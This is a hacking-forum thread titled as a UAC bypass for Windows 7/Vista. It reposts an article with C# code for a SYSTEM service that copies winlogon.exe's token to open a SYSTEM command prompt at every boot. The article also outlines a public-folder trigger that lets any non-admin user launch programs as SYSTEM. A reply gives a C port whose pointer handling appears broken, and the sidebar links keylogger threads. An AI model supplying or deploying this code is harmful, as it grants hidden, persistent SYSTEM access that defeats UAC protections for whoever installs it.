![]() | ![]() |
|
![]() |
|
|
|
|
||||
|
||||
|
how to bypass UAC in windows 7 / vista
author: Pero Matić
Introduction The purpose of this article is to illustrate how to correctly launch an interactive process from a service in Windows Vista, and also to demonstrate how to launch that process with full Administrator privileges. An interactive process is one that is capable of displaying a UI on the desktop. The article shows how to create a service called LoaderService that serves as an application loader and whose purpose is to launch, at boot time, a command prompt that runs as an Administrator. The article closes with a section discussing how the code could be extended for more practical purposes. Sessions in Vista Let’s start from the beginning… you have just booted up your computer and are about to log on. When you log on, the system assigns you a unique Session ID. In Windows Vista, the first User to log on to the computer is assigned a Session ID of 1 by the OS. The next User to log on will be assigned a Session ID of 2. And so on and so forth. You can view the Session ID assigned to each logged on User from the Users tab in Task Manager: ![]() Notice, I indicated that the User named Pero is in control of the Console. In this case, I mean the Physical Console. The Physical Console consists of the monitor, keyboard, and mouse. Since Pero is in control of the keyboard, monitor, and mouse, he is considered the currently active User. However, since Users can be impersonated, it is more appropriate to reference the currently active Session rather than the currently active User. The Win32 API contains a function called WTSGetActiveConsoleSessionId() which returns the Session ID of the User currently in control of the Physical Console. If we were to call that method right now, it would return a value of 1 because that is the Session ID of the User Pero. There exists a special Session in Vista that has a Session ID of 0. This is commonly referenced as Session0. All Windows Services run within Session0, and Session0 is non-interactive. Non-interactive means that UI applications cannot be launched; however, there is a way around this by activating the Interactive Services Detection Service (ISDS). This not a very elegant solution, and will not be covered in this article. There is a quick 5 minute Channel 9 video that demonstrates the ISDS for those interested. This article assumes the absence of the ISDS. Now, because Session0 is not a User Session, it does not have access to the video driver, and therefore any attempts to render graphics will fail. Session0 isolation is a security feature added in Vista to isolate system processes and services from potentially malicious user applications. This is where things get interesting. The reason for this isolation is because the System account (or System User) has elevated privileges that allow it to run unhindered by the restrictions of Vista UAC. If everything were running under the System account, Vista UAC might as well be turned off. Now, I know what you’re thinking, “If Windows Services run in Session0, and Session0 cannot start processes that have a UI, then how can our loader service spawn a new process that not only has a UI, but that also runs within the currently logged on User’s Session?” Take a look at this screenshot from the Processes tab in Task Manager, and pay particular attention to the winlogon.exe processes: ![]() Notice there are two winlogon.exe processes, and the User who owns both of those processes is the System User. The System User is a highly privileged User unhindered by the Vista UAC that we were talking about earlier. Also, notice the Session IDs that indicate within which Sessions the winlogon.exe processes are running. If you remember from earlier, Session ID 1 refers to the User Pero’s Session, and Session ID 2 refers to the User Sienna’s Session. This means that there is a winlogon.exe process running under the System account within Pero’s Session. It also means that there is a winlogon.exe process running under the System account within Sienna’s Session. This is the appropriate time to mention that any Session with an ID greater than 0 is capable of spawning an interactive process, which is a process capable of displaying a UI. The solution may not be totally clear yet, but it will be shortly, as now it is time to discuss our strategy! Our Strategy First, we are going to create a Windows Service that runs under the System account. This service will be responsible for spawning an interactive process within the currently active User’s Session. This newly created process will display a UI and run with full admin rights. When the first User logs on to the computer, this service will be started and will be running in Session0; however the process that this service spawns will be running on the desktop of the currently logged on User. We will refer to this service as the LoaderService. Next, the winlogon.exe process is responsible for managing User login and logout procedures. We know that every User who logs on to the computer will have a unique Session ID and a corresponding winlogon.exe process associated with their Session. Now, we mentioned above, the LoaderService runs under the System account. We also confirmed that each winlogon.exe process on the computer runs under the System account. Because the System account is the owner of both the LoaderService and the winlogon.exe processes, our LoaderService can copy the access token (and Session ID) of the winlogon.exe process and then call the Win32 API function CreateProcessAsUser to launch a process into the currently active Session of the logged on User. Since the Session ID located within the access token of the copied winlogon.exe process is greater than 0, we can launch an interactive process using that token. Now for the fun stuff… the code! The Code The Windows Service is located in a file called LoaderService.cs within the Toolkit project. Below is the code that gets called when the LoaderService is started: Code:
protected override void OnStart(string[] args)
{
// the name of the application to launch
String applicationName = "cmd.exe";
// launch the application
ApplicationLoader.PROCESS_INFORMATION procInfo;
ApplicationLoader.StartProcessAndBypassUAC(applicationName, out procInfo);
}
The code above calls the StartProcessAndBypassUAC(...) function which will launch a command prompt (with full admin rights) as part of a newly created process. Information about the newly created process will get stored into the variable procInfo. The code for StartProcessAndBypassUAC(...) is located in the file ApplicationLoader.cs. Let’s dissect that function to examine how a service running in Session0 will load a process into the currently logged on User’s Session. To begin, we will obtain the Session ID of the currently logged on User. This is achieved by making a call to the Win32 API function WTSGetActiveConsoleSessionId(). Code:
// obtain the currently active session id; every logged on // User in the system has a unique session id uint dwSessionId = WTSGetActiveConsoleSessionId(); Next, we will obtain the Process ID (PID) of the winlogon.exe process for the currently active Session. Remember, there are two Sessions currently running, and if we copy the access token of the wrong one, we could end up launching our new process on another User’s desktop. Code:
// obtain the process id of the winlogon process that
// is running within the currently active session
Process[] processes = Process.GetProcessesByName("winlogon");
foreach (Process p in processes)
{
if ((uint)p.SessionId == dwSessionId)
{
winlogonPid = (uint)p.Id;
}
}
Now that we have obtained the PID of the winlogon.exe process, we can use that information to obtain its process handle. To do so, we make a Win32 API call to OpenProcess(...): Code:
// obtain a handle to the winlogon process hProcess = OpenProcess(MAXIMUM_ALLOWED, false, winlogonPid); Having acquired the process handle, we can make a Win32 API call to OpenProcessToken(...) to obtain a handle to the access token of the winlogon.exe process: Code:
// obtain a handle to the access token of the winlogon process
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hPToken))
{
CloseHandle(hProcess);
return false;
}
Code:
// Security attibute structure used in DuplicateTokenEx and CreateProcessAsUser
// I would prefer to not have to use a security attribute variable and to just
// simply pass null and inherit (by default) the security attributes
// of the existing token. However, in C# structures are value types and therefore
// cannot be assigned the null value.
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.Length = Marshal.SizeOf(sa);
// copy the access token of the winlogon process;
// the newly created token will be a primary token
if (!DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, ref sa,
(int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
(int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
{
CloseHandle(hProcess);
CloseHandle(hPToken);
return false;
}
There are many advantages to duplicating an access token. Most notable in our case is that we have a new copy of a primary access token which also contains within it the associated logon Session of that copied token. If you refer to the Task Manager screenshot above that shows the two winlogon.exe processes, you will notice that the duplicated Session ID will be 1, which is the Session ID of the currently logged on User, Pero. We can now call the Win32 API function CreateProcessAsUser to spawn a new process within the Session of the currently logged on User; in this case, the process will spawn in the Session of the User Pero. To summarize, the code below runs in Session0, but will launch a new process in Session 1: Code:
STARTUPINFO si = new STARTUPINFO();
si.cb = (int)Marshal.SizeOf(si);
// interactive window station parameter; basically this indicates
// that the process created can display a GUI on the desktop
si.lpDesktop = @"winsta0\default";
// flags that specify the priority and creation method of the process
int dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;
// create a new process in the current User's logon session
bool result = CreateProcessAsUser(hUserTokenDup, // client's access token
null, // file to execute
applicationName, // command line
ref sa, // pointer to process SECURITY_ATTRIBUTES
ref sa, // pointer to thread SECURITY_ATTRIBUTES
false, // handles are not inheritable
dwCreationFlags, // creation flags
IntPtr.Zero, // pointer to new environment block
null, // name of current directory
ref si, // pointer to STARTUPINFO structure
out procInfo // receives information about new process
);
The above code will launch a command prompt that is running as an Administrator under the System account. I’d like to comment on the parameter @"winsta0\default". This is a hard-coded String that Microsoft arbitrarily chose to indicate to the OS that the process we are about to spawn in CreateProcessAsUser should have full access to the interactive windowstation and desktop, which basically means it is allowed to displayed UI elements on the desktop. That’s all there is to the code. Now, let’s discuss how to deploy this service using an MSI, and how to configure it to launch automatically when the computer boots up! Deploying the Code The most efficient way to deploy our code is to create an MSI installer for it. However, we have to first perform a couple of tasks to prepare our service for installation. To begin, we need to add an installer for our LoaderService. To add an installer, open up the LoaderService.cs designer. Then, right-click, and select Add Installer: ![]() The above action adds a new class to the project called ProjectInstaller. This class inherits from the Installer class. There are two components visible on the designer of ProjectInstaller.cs that I have renamed for clarity to loaderServiceProcessInstaller and loaderServiceInstaller. The loaderServiceProcessInstaller control allows us to specify the account under which the LoaderService will run. This account has been set to System: ![]() Now, we are ready to add a Setup project. The primary output of the Setup project is set to the Toolkit project, which contains our LoaderService. This step is fairly trivial, and I will not be going through the details of adding it. However, I would like to comment that we need to hook up the ProjectInstaller class to this MSI. If we do not, then the contents of the Toolkit project will be deployed, but the LoaderService will not get registered as a Windows Service. To add a custom action, right-click on the Setup project and go to View > Custom Actions. From here, you can add a custom action. Specifying the custom action as the primary output from Toolkit is enough to hint to it that there is a custom installer, in our case ProjectInstaller, that needs to be run. Remember, ProjectInstaller is the installer class actually responsible for registering the service with Windows: ![]() Now, it's time to run the code and see the fruits of our labor! Running the Code To verify the code is working as expected, we will build the MSI and install it. When you install the MSI, you will notice a UAC prompt asking you to confirm the install. A good Marine friend of mine once told me the Marines have a saying, "Once a Marine, always a Marine." In hacking and computer security, that would translate to, "Once an Administrator, always an Administrator." This is the one and only time a User who installs your project will be presented with a UAC pop-up. Since most MSIs need Administrator privileges to install, this should come as no shock to the User. After installation, you will notice the service has been registered to start automatically (by the ProjectInstaller); however, this will only happen on the next reboot. You can also start it manually. This article assumes you have chosen to reboot. Notice, when the computer reboots, you are displayed with a command prompt that is running as an Administrator: ![]() From here, you can type in regedit, gpedit.msc, or whatever command you like, and it will bypass the Vista UAC prompt. What’s more is that the currently logged in User need not even be an Administrator to take advantage of this command prompt. The reason being is that the command prompt is running under the System account. This can be seen from the Task Manager in the screenshot below. Also take note of the Session ID: ![]() But, what about our LoaderService? Where is it, and under which Session is it running? Let’s take another look at Task Manager to figure this out: ![]() We have just successfully bypassed Vista UAC and illustrated how to correctly spawn an interactive process from a Windows Service. But, there is more we can do! Beyond the Fundamentals The topics discussed in this section are not contained in the downloadable code. The reason being to keep the example solution as simple as possible. The ideas below are meant to illustrate how the example code can be extended to support different types of scenarios. A Generic Solution Most Windows Services are started when the first User logs on to the computer, and they are launched in Session0. The way our code is currently written is such that only the first User who logs on to the computer will have the command prompt launched in their Session. The reason for this is that our LoaderService spawns the process from its OnStart function. The OnStart function executes only once, and that is when the service is first started. Since the first User to log on to the system has the net effect of starting all services in Session0, he is the User whose Session ID will be retrieved in the OnStart function when it calls StartProcessAndBypassUAC. The OnStart function in LoaderService.cs has been repeated below for clarity: Code:
protected override void OnStart(string[] args)
{
// the name of the application to launch
String applicationName = "cmd.exe";
// launch the application
ApplicationLoader.PROCESS_INFORMATION procInfo;
ApplicationLoader.StartProcessAndBypassUAC(applicationName, out procInfo);
}
So then, how can we configure our LoaderService to launch the command prompt for every User on the computer the first time that they log on? The solution is in the OnStart function: either wire-up a Timer, or spawn a Thread that runs in an infinite loop every so many seconds (Thread.Sleep(1000) can be used to control how often the Thread runs). We can use a List<int> object to keep track of all the Session IDs that we have already launched our process in. Every time our Thread executes, we check to see if the Session ID has changed. The currently active Session ID can be retrieved by calling WTSGetActiveConsoleSessionId(). If the Session ID has changed, we check to see if we have launched our process into that Session. If we have not, then we call StartProcessAndBypassUAC and add the Session ID to the List<int> object. Launching an Application On Demand It may be the case that you do not want your application to start immediately when Users log on to the computer. You may have an application that should only be loaded when the User chooses to run it. In addition, you may want this application and functionality to be available to every User on the system. The question then is how can our LoaderService accommodate this while still bypassing Vista UAC? Before we begin this discussion, let’s quickly talk about how UAC applies with regard to file and folder access. Vista supports the notion of Special Folders. There are several Special Folders in Vista, but the one we are going to focus on is the Documents folder. In .NET, you can query Special Folder locations by calling Environment.GetFolderPath(...). If you spend enough time on your computer, you may have noticed that you can freely create, modify, and delete files located in your Documents folder without any interference from UAC. However, if you navigate to another User’s Documents folder, you will be greeted with a UAC prompt asking for an Administrator’s permission to touch the folder. You may have also noticed that there is a public Documents folder shared and accessible by all Users. In Vista, the path to this Special Folder is C:\Users\Public\Documents. Any User on the system can freely create, modify, and delete files located here without any interference from UAC. Now, we are able to craft a solution! We can modify the OnStart function of our LoaderService to start an instance of the FileSystemWatcher class, and configure it to watch for changes to the public Documents folder, which all Users have access to. We will have to create a new Console application to communicate with the LoaderService via text files (do not confuse this Console application with the Console Session). The code for the Console application will look like the following: Code:
static void Main(string[] args)
{
string filename = @"C:\Users\Public\Documents\appToLoad.txt";
using (StreamWriter sw = new StreamWriter(filename, false))
{
sw.WriteLine("SessionID=" + WTSGetActiveConsoleSessionId());
sw.WriteLine("ApplicationToLoad=cmd.exe");
sw.Close();
}
}
Source: http://www.codeproject.com/KB/vista-...gVistaUAC.aspx |
|
|
||||
|
||||
|
Dunno if it works or not since I'm using Windows XP, but here is a converted version.
Code:
typedef struct _SECURITY_ATTRIBUTES {
unsigned long ulLength;
void* pSecurityDescriptor;
bool bInheritHandle;
} SECURITY_ATTRIBUTES;
typedef struct _STARTUPINFO {
unsigned long cb;
char* pszReserved;
char* pszDesktop;
char* pszTitle;
unsigned long dwX;
unsigned long dwY;
unsigned long dwXSize;
unsigned long dwYSize;
unsigned long dwXCountChars;
unsigned long dwYCountChars;
unsigned long dwFillAttribute;
unsigned long dwFlags;
unsigned int uiShowWindow;
unsigned int uiReserved2;
unsigned char* pucReserved2;
void* pStdInput;
void* pStdOutput;
void* pStdError;
} STARTUPINFO;
typedef struct _PROCESS_INFORMATION {
void* pProcess;
void* pThread;
unsigned long ulProcessId;
unsigned long ulThreadId;
} PROCESS_INFORMATION;
typedef struct _PROCESSENTRY32 {
unsigned long ulSize;
unsigned long ulUsage;
unsigned long ulProcessID32;
unsigned long ulDefaultHeapID32;
unsigned long ulModuleID32;
unsigned long ulPcntThreads;
unsigned long ulParentProcessID32;
unsigned int uiPriClassBase;
unsigned long ulFlags;
char szExeFile[260];
} PROCESSENTRY32;
typedef enum _TOKEN_TYPE {
TokenPrimary = 1,
TokenImpersonation = 2
} TOKEN_TYPE;
typedef enum _SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
} SECURITY_IMPERSONATION_LEVEL;
#define TOKEN_DUPLICATE 0x0002
#define MAXIMUM_ALLOWED 0x2000000
#define CREATE_NEW_CONSOLE 0x00000010
#define IDLE_PRIORITY_CLASS 0x40
#define NORMAL_PRIORITY_CLASS 0x20
#define HIGH_PRIORITY_CLASS 0x80
#define REALTIME_PRIORITY_CLASS 0x100
__declspec( dllimport )bool __stdcall CloseHandle(
void* pObject
);
__declspec( dllimport )unsigned long WTSGetActiveConsoleSessionId(
void
);
__declspec( dllimport )bool __stdcall CreateProcessAsUser(
void* pToken,
const char* cpszApplicationName,
const char* cpszCommandLine,
SECURITY_ATTRIBUTES* pProcessAttributes,
SECURITY_ATTRIBUTES* pThreadAttributes,
bool bInheritHandles,
unsigned long ulCreationFlags,
void* pEnvironment,
const char* cpszCurrentDirectory,
STARTUPINFO* pStartupInfo,
PROCESS_INFORMATION* pProcessInformation
);
__declspec( dllimport )bool ProcessIdToSessionId(
unsigned long ulProcessId,
unsigned long* pulSessionId
);
__declspec( dllimport )bool __stdcall DuplicateTokenEx(
void* hExistingToken,
unsigned long ulDesiredAccess,
SECURITY_ATTRIBUTES* pTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
void** ppNewToken
);
__declspec( dllimport )void* __stdcall OpenProcess(
unsigned long ulDesiredAccess,
bool bInheritHandle,
unsigned long ulProcessId
);
__declspec( dllimport )bool __stdcall OpenProcessToken(
void* pProcessHandle,
unsigned long ulDesiredAccess,
void** ppTokenHandle
);
__declspec( dllimport )bool __stdcall Process32First(
void* pSnapshot,
PROCESSENTRY32* ProcessEntry
);
__declspec( dllimport )bool __stdcall Process32Next(
void* pSnapshot,
PROCESSENTRY32* ProcessEntry
);
__declspec( dllimport )void* __stdcall CreateToolhelp32Snapshot(
unsigned long ulFlags,
unsigned long ulProcessID32
);
__declspec( dllimport )int strcmp(
const char* cpszString1,
const char* cpszString2
);
__declspec( dllimport )char * strcpy(
char* pszDestination,
const char* cpszSource
);
unsigned long GetPID(const char* cpszApplicationName)
{
void* pProcessSnapshot = 0;
PROCESSENTRY32 ProcessEntry = { 0 };
unsigned long PID = 0;
if(!strcmp(cpszApplicationName,"")) return 0;
pProcessSnapshot = CreateToolhelp32Snapshot(0x00000002,0);
if(!pProcessSnapshot) return 0;
ProcessEntry.ulSize = sizeof(PROCESSENTRY32);
if(!Process32First(pProcessSnapshot,&ProcessEntry)) return 0;
while(Process32Next(pProcessSnapshot,&ProcessEntry))
{
if(!strcmp(ProcessEntry.szExeFile,cpszApplicationName))
{
PID = ProcessEntry.ulProcessID32;
break;
}
}
CloseHandle(pProcessSnapshot);
return PID;
}
bool StartProcessAndBypassUAC(char *pszApplicationName)
{
PROCESS_INFORMATION ProcessInformation = { 0 };
SECURITY_ATTRIBUTES SecurityAttributes = { 0 };
STARTUPINFO StartupInformation = { 0 };
bool bReturn = 0;
unsigned long ulWinlogonPID = 0;
void** ppUserTokenDup = 0,
** ppToken = 0,
* pProcess = 0;
__try
{
SecurityAttributes.ulLength = sizeof(SECURITY_ATTRIBUTES);
StartupInformation.cb = sizeof(STARTUPINFO);
strcpy(StartupInformation.pszDesktop,"winsta0\default");
ulWinlogonPID = GetPID("winlogon.exe");
if(!ulWinlogonPID) __leave;
pProcess = OpenProcess(MAXIMUM_ALLOWED,false,ulWinlogonPID);
if(!pProcess) __leave;
if(!OpenProcessToken(pProcess,TOKEN_DUPLICATE,ppToken)) __leave;
if(!DuplicateTokenEx(ppToken, MAXIMUM_ALLOWED,&SecurityAttributes,SecurityIdentification,TokenPrimary,ppUserTokenDup)) __leave;
if(!CreateProcessAsUser(ppUserTokenDup,0,pszApplicationName,&SecurityAttributes,&SecurityAttributes,0,NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE,0,0,&StartupInformation,&ProcessInformation)) __leave;
bReturn = true;
}
__finally
{
if(pProcess) CloseHandle(pProcess);
if(ppToken) CloseHandle(ppToken);
if(ppUserTokenDup) CloseHandle(ppUserTokenDup);
}
return bReturn;
}
int main()
{
StartProcessAndBypassUAC("cmd.exe");
}
__________________
"A good programmer must follow a long & lonely road, but in the end... It will all make some sens (I hope). " - ZorgioN - [ MusicBox ] |
|
|
||||
|
||||
|
What version of MSVC++ did you use? And what source did you compile? The one in the archive in the top is coded in C# and won't work if you just got MSVC++ installed. If you got MSVS you could do it tho:P
__________________
"A good programmer must follow a long & lonely road, but in the end... It will all make some sens (I hope). " - ZorgioN - [ MusicBox ] |
|
|
||||
|
||||
|
ey, I had some free time so why not convert it? Downloading Vista and Windows 7 atm. gonna install on VMware tomorrow and test it / fix if it's needed ^_^
__________________
"A good programmer must follow a long & lonely road, but in the end... It will all make some sens (I hope). " - ZorgioN - [ MusicBox ] |
| Thread Tools | |
|
|
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| [Source] Schwarze Sonne Keylogger 100% FUD VISTA UAC BYPASS | slayer616 | Scanners and loggers | 10 | 08-12-2009 23:11 |
| HELP NEEDED -> Vista keylogger (with by UAC-bypass) | v1s1tor | Source Code help | 9 | 20-06-2009 06:51 |
| [bypass] Windows Vista & Windows Defender | jackl007 | Source Code help | 3 | 24-04-2009 02:12 |
| Windows Vista?? | unknown | Off-topic | 1 | 25-04-2007 23:57 |
| Windows Vista Activation | G-A-T | Off-topic | 1 | 17-03-2007 05:29 |